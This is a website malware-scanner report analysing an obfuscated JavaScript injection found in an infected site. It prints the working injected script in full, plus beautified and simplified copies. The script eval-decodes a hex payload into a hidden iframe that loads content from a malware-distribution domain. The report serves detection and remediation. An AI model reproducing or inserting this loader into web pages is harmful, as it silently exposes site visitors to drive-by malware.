Malicious JavaScript injection

Obfuscated malicious JavaScript code injection generates hidden iframe which loads content from malicious website

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe that is invisible to the website visitor. Once website URL is accessed by user's browser it downloads content from remote malware distributor. This infected website hosts suspicious JavaScript code injected in 5 files. As discussed in other posts about malicious iframes generation, the attack flow is very similar and contains multiple levels of obfuscation to overcome the detection mechanisms. 

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Mon Apr 15 02:32:41 2013

Infected website's files: 5

Website malware scan report link: http://goo.gl/sHDlV

Website malware scanner report

Malicious JavaScript injection detected

Threat dump: [[<script type='text/javascript' language='javascript' >
                                                                                                                                                                                                                                                          e=eval;
v="0x";
a=0;
try
{
a%26=2
}
catch(q)
{
a=1
}
if(!a)
{
try
{
document.body^=~1;
}
catch(q)
{
a2="!"
}
z="2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25!25!25!7b!66!77!25!70!7d!72!79!75!25!42!25!69!74!68!7a!72!6a!73!79!33!68!77!6a!66!79!6a!4a!71!6a!72!6a!73!79!2d!2c!6e!6b!77!66!72!6a!2c!2e!40!12!f!12!f!25!25!25!25!70!7d!72!79!75!33!78!77!68!25!42!25!2c!6d!79!79!75!3f!34!34!69!66!75!7d!74!73!7a!76!33!77!7a!34!68!74!7a!73!79!36!3a!33!75!6d!75!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!75!74!78!6e!79!6e!74!73!25!42!25!2c!66!67!78!74!71!7a!79!6a!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!67!74!77!69!6a!77!25!42!25!2c!35!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!6d!6a!6e!6c!6d!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!7c!6e!69!79!6d!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!71!6a!6b!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!79!74!75!25!42!25!2c!36!75!7d!2c!40!12!f!12!f!25!25!25!25!6e!6b!25!2d!26!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!70!7d!72!79!75!2c!2e!2e!25!80!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!7c!77!6e!79!6a!2d!2c!41!69!6e!7b!25!6e!69!42!61!2c!70!7d!72!79!75!61!2c!43!41!34!69!6e!7b!43!2c!2e!40!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!70!7d!72!79!75!2c!2e!33!66!75!75!6a!73!69!48!6d!6e!71!69!2d!70!7d!72!79!75!2e!40!12!f!25!25!25!25!82!12!f!82!2e!2d!2e!40".split(a2);
s="";
for(i=0;
i<z.length;
i++)
{
s+=String.fromCharCode(e(v+(z[i]))-5);
}
zaz=s;
e(zaz);
}

 </script>]]

Malware entry

Malware entry details.

Beautified script

1. e = eval;
2. v = "0x";
3. a = 0;
4. try {
5.     a &= 2
6. } catch (q) {
7.     a = 1
8. }
9. if (!a) {
10.     try {
11.         document.body ^= ~1;
12.     } catch (q) {
13.         a2 = "!"
14.     }
15.     z="2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25!25!25!7b!66!77!25!70!7d!72!79!75!25!42!25!69!74!68!7a!72!6a!73!79!33!68!77!6a!66!79!6a!4a!71!6a!72!6a!73!79!2d!2c!6e!6b!77!66!72!6a!2c!2e!40!12!f!12!f!25!25!25!25!70!7d!72!79!75!33!78!77!68!25!42!25!2c!6d!79!79!75!3f!34!34!69!66!75!7d!74!73!7a!76!33!77!7a!34!68!74!7a!73!79!36!3a!33!75!6d!75!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!75!74!78!6e!79!6e!74!73!25!42!25!2c!66!67!78!74!71!7a!79!6a!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!67!74!77!69!6a!77!25!42!25!2c!35!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!6d!6a!6e!6c!6d!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!7c!6e!69!79!6d!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!71!6a!6b!79!25!42!25!2c!36!75!7d!2c!40!12!f!25!25!25!25!70!7d!72!79!75!33!78!79!7e!71!6a!33!79!74!75!25!42!25!2c!36!75!7d!2c!40!12!f!12!f!25!25!25!25!6e!6b!25!2d!26!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!70!7d!72!79!75!2c!2e!2e!25!80!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!7c!77!6e!79!6a!2d!2c!41!69!6e!7b!25!6e!69!42!61!2c!70!7d!72!79!75!61!2c!43!41!34!69!6e!7b!43!2c!2e!40!12!f!25!25!25!25!25!25!25!25!69!74!68!7a!72!6a!73!79!33!6c!6a!79!4a!71!6a!72!6a!73!79!47!7e!4e!69!2d!2c!70!7d!72!79!75!2c!2e!33!66!75!75!6a!73!69!48!6d!6e!71!69!2d!70!7d!72!79!75!2e!40!12!f!25!25!25!25!82!12!f!82!2e!2d!2e!40".split(a2);
16.     s = "";
17.     for (i = 0; i < z.length; i++) {
18.         s += String.fromCharCode(e(v + (z[i])) - 5);
19.     }
20.     zaz = s;
21.     e(zaz);
22. }

Simplified version of the malicious injection

1. <script>
2.  z = "2d!6b!7a!73!68!79!6e!74!73!25!2d!2e!25!80!12!f!25!25! .... 12!f!82!2e!2d!2e!40".split("!");
3.  s = "";
4.  for (i = 0; i < z.length; i++) { s += String.fromCharCode(eval("0x" + (z[i])) - 5);}
5.  eval(s);
6. </script>

Malicious payload

Decoded payload generates hidden iframe to http://dapxonuq[.]ru/count15.php

Blacklisting status

The website is Suspicious on Google Safe Browsing. Malware is hosted on the domain targeted by the payload.

Google Safe Browsing analysis

Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.